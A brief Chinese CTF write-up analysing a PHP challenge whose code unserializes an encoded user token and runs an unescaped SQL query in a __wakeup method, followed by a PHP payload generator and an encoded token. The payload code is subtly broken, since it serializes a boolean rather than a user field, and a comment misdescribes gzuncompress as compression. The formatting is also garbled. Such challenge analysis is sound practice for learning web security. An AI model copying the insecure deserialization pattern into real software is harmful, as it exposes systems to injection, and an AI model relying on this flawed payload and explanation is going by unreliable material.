03

源码如下

```php
<?php
 include 'common.php';
 $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
 //把一个或多个数组合并为一个数组
 class db
 {
 public $where;
 function __wakeup()
 {
  if(!empty($this->where))
  {
  $this->select($this->where);
  }
  }
  function select($where)
  {
  $sql = mysql_query('select * from user where '.$where);
  //函数执行一条 MySQL 查询。
  return @mysql_fetch_array($sql);
  //从结果集中取得一行作为关联数组，或数字数组，或二者兼有返回根据从结果集取得的行生成的数组，如果没有更多行则返回 false
  }
  }

  if(isset($requset['token']))
  //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
  {
  $login = unserialize(gzuncompress(base64_decode($requset['token'])));
  //gzuncompress:进行字符串压缩
  //unserialize: 将已序列化的字符串还原回 PHP 的值

  $db = new db();
  $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
  //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

  if($login['user'] === 'ichunqiu')
  {
```

```
 echo $flag;
 }else if($row['pass'] !== $login['pass']){
 echo 'unserialize injection!!';
 }else{
 echo "(ﾉ｀□′)ﾉ ┻━┻ ";
 }
 }else{

 header('Location: error.txt');
 }

?>
```

只对序列化传入的用户名进行了判断，所以这题考的就是php反序列化

payload

```
## 03 多重加密

```
<?php

$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// echo $token;

?>
```

`eJxLtDK0qs60MrBOAuJaAB5uBBQ=`

```

看起来是反序列化和加密的多重应用，传进去就好了，就会返回flag